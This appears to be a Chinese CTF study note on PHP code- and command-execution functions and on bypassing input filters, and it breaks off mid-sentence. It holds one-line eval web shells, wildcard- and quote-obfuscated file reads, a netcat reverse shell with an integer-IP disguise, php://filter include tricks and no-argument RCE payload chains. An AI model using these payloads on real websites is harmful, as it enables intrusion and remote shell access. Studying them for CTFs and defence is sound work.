命令执行小结
文章目录
代码执行
通俗的来说是执行php的代码,经常需要利用命令执行有关的函数来读取flag
常用函数:
-
eval()
例子:
<?php eval($_GET['pass']) ?>
-
assert()
PHP 5
bool assert ( mixed $assertion [, string $description ] )
PHP 7
bool assert ( mixed $assertion [, Throwable $exception ] )
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
<?php assert($_GET['pass']); ?>
-
preg_replace()
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串
更详细的说明见:php-preg_replace -
call_user_func()
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。
<?php call_user_func($_GET['chybeta'],$_GET['ph0en1x']); ?>
访问附加如下参数可执行phpinfo
?chybeta=assert&ph0en1x=phpinfo()
-
call_user_func_array()
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为**回调函数(callback)**调用,把参数数组作(param_arr)为回调函数的的参数传
<?php call_user_func_array($_GET['chybeta'],$_GET['ph0en1x']); ?>
访问附加如下参数可执行phpinfo
?chybeta=assert&ph0en1x[]=phpinfo()
-
create_function
string create_function ( string $args , string $code )
该函数的内部实现用到了
eval
,所以也具有相同的安全问题。第一个参数args
是后面定义函数的参数,第二个参数是函数的代码。<?php $a = $_GET['chybeta']; $b = create_function('$a',"echo $a"); $b(''); ?>
访问附加如下参数可执行phpinfo
?chybeta=phpinfo();
-
array_map()
array array_map ( callable $callback , array $array1 [, array $... ] )
作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
<?php $array = array(0,1,2,3,4,5); array_map($_GET['chybeta'],$array); ?>
访问附加如下参数可执行phpinfo
?chybeta=phpinfo();
命令执行
通俗来说就是执行linux中shell的函数,需要传入的参数是shell指令
常用函数:
-
system()(有回显)
string system ( string $command [, int &$return_var ] )
command是要执行的命令。return_var,如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。
例子:
system("whoami");
-
passthru()(有回显)
void passthru ( string $command [, int &$return_var ] )
command是要执行的命令。return_var,如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。
passthru("whoami");
-
exec()(无回显)
string exec ( string $command [, array &$output [, int &$return_var ]] )
exec() 执行 command 参数所指定的命令。 其余参数,见文档
echo exec("whoami");
-
pcntl_exec()
void pcntl_exec ( string $path [, array $args [, array $envs ]] )
path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
args是一个要传递给程序的参数的字符串数组。pcntl_exec ( "/bin/bash" , array("whoami"));
-
shell_exec()
string shell_exec ( string $cmd )
cmd是要执行的命令。
echo shell_exec("whoami");
-
popen()
resource popen ( string $command , string $mode )
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。 后面的mode,当为 ‘r’,返回的文件指针等于命令的 STDOUT,当为 ‘w’,返回的文件指针等于命令的 STDIN。
$handle = popen("/bin/ls", "r");
-
proc_open()
resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
cmd是要执行的命令,其余见文档
-
`(反单引号)
在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。
<?php echo `whoami`; ?>
-
ob_start()
bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。
可选参数 output_callback 函数可以被指定。 此函数把一个字符串当作参数并返回一个字符串。 当输出缓冲区被( ob_flush(), ob_clean() 或者相似的函数)冲刷(送出)或者被清洗的时候;或者在请求结束之际输出缓冲区内容被冲刷到浏览器的时候该函数将会被调用。 当调用 output_callback 时,它将收到输出缓冲区的内容作为参数 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器。
下面的代码,由于调用了ob_end_flush(),所以会调用ob_start( c m d ) 中 的 c m d , 把 我 们 输 入 的 cmd)中的cmd,把我们输入的 cmd)中的cmd,把我们输入的_GET[a]作为cmd的参数。
<?php $cmd = 'system'; ob_start($cmd); echo "$_GET[a]"; ob_end_flush(); ?>
访问:
http://localhost:2500/codeexec.php?a=whoami
-
php mail()
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
要使用mail()函数,需要配置对应的服务器等,在php.ini中有两个选项:
- 配置SMTP服务器的主机名和端口
- 配置PHP用作邮件传输代理(MTA)的文件路径
当PHP配置了第二个选项时,对该mail()函数的调用将导致执行配置对MTA程序。虽然PHP内部使用escapeshellcmd()用于程序调用,防止新的shell命令注入,但第5个参数$additional_parameters中mail()允许添加的新程序。因此,攻击者可以附加程序标志,在某些MTA中可以创建具有用户控制内容的文件。
绕过思路
对单词的过滤
形如
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
flag在同目录flag.php中
只要让c中不出现以上单词即可
-
绕过命令执行中出现的字符
在这我们需要读取flag.php,可以利用通配符绕过
以下是命令执行的绕过,就是说以下的/?in/?at fl??.p?p应该是写在system(‘xxx’); 这样的函数中的
#1.直接读取 /?in/?at fl??.p?p # ?可以表示任何字符,只要与其匹配就能正确运行,这里执行的是/bin/cat flag.php cat fl* #利用*绕过 cat fl''lg.php #利用''隔开字符绕过 cat fl""lg.php cat \f\l\a\g\.p\h\p #2.反弹shell nc -e /bin/bash 127.0.0.1 3737 #为了避免符号.我们可以将IP地址转换成整型。 127.0.0.1 → 2130706433 #使用通配符 /??n/?c -e /??n/b??h 2130706433 3737 #3.使用未初始化的bash变量
-
绕过命令执行函数限制
这里的system()被禁用了
-
我们可以选择更换命令执行函数绕过(上面命令执行的函数选一个用)
-
也可以利用include()文件包含绕过
include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
注意到include函数其实不加()也能正确识别参数$_GET[“url”]并执行,其余函数也有类似的特性
可以发现此处的绕过完全不需要管flag.php,?>可以用来绕过
;
php代码最后有?>不写;是不会报错的-
上面的思路其实已经跳脱了这个对于变量
c
的过滤,因而我们也可以直接构造一个eval($_GET[a])?>&a=system('cat flag.php');
此处需要eval套eval,猜测应该是需要先构建出a变量才能传入参数,不套的话只报错不执行代码
在不过滤$ _ [ ] 的情况下新建变量绕过的方式比较常用
-
无参数RCE
什么是无参数?
顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等
形如
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
像这种过滤的东西很多的情况下先跑个脚本看看能用什么东西
# 可用字符脚本
<?php
for($a = 20; $a < 127; $a++){
if (!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", chr($a))){
echo chr($a)." ";
}
}
?>
# 可用字符
! ( ) ; A B C D E F G H I J K L M N O P Q R S T U V W X Y Z _ a b c d e f g h i j k l m n o p q r s t u v w x y z |
可以看到可用的字符不少,但是特殊符号被限制得很死,因而我们需要构造的是无参的函数payload
举个例子:
a(b(c()));可以使用,但是a(‘b’)或者a(‘b’,‘c’)这种含有参数的都不能使用
正常的,print_r(scandir(’.’));可以用来查看当前目录所有文件名
但是要怎么构造参数里这个点呢,这里介绍几个方法:
localeconv()
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别)
<?php
var_dump(localeconv());
?>
可以看到
第一项就是.
,要怎么取到这个点呢,另一个函数:
current()返回数组中的单元,默认取第一个值,pos是current的别名
如果都被过滤还可以使用reset(),该函数返回数组第一个单元的值,如果数组为空则返回 FALSE
因而print_r(scandir('.'));
可以用如下的函数代替
print_r(scandir(pos(localeconv())));
-
下面这个取
.
就是看脸游戏了chr(46)
chr(46)就是字符"."
要构造46,有几个方法:
chr(rand()) (不实际,看运气) chr(time()) chr(current(localtime(time())))
chr(time()):
chr()函数以256为一个周期,所以chr(46),chr(302),chr(558)都等于"."
所以使用chr(time()),一个周期必定出现一次"."
chr(current(localtime(time()))):
数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"."
-
还有一个数学游戏的取
.
phpversion()
phpversion()返回PHP版本,如5.5.9
floor(phpversion())返回 5
sqrt(floor(phpversion()))返回2.2360679774998
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."
-
crypt()
hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 “.”(小概率) 然后通过chr(ord())只取第一个字符
ps:ord()返回字符串中第一个字符的Ascii值
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次)
同理:strrev(crypt(serialize(array())))也可以得到".",只不过crypt(serialize(array()))的点出现在最后一个字符,需要使用strrev()逆序,然后使用chr(ord())获取第一个字符
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
目录更换
- 获取当前目录getcwd()
- 对当前目录进行遍历var_dump(scandir(getcwd()))
- 遍历上一层目录var_dump(scandir(dirname(getcwd())))
- 跳到上一层目录chdir(dirname(getcwd())),或者结合chdir构造…来去上一层,如:chdir(scandir(next(scandir(getcwd()))))
尝试读取文件
通过前面的方法输出了当前目录文件名,如果文件不能直接显示,比如PHP源码,我们还需要使用函数读取:
前面的方法输出的是数组,文件名是数组的值,那我们要怎么取出想要读取文件的数组呢:
查询PHP手册发现: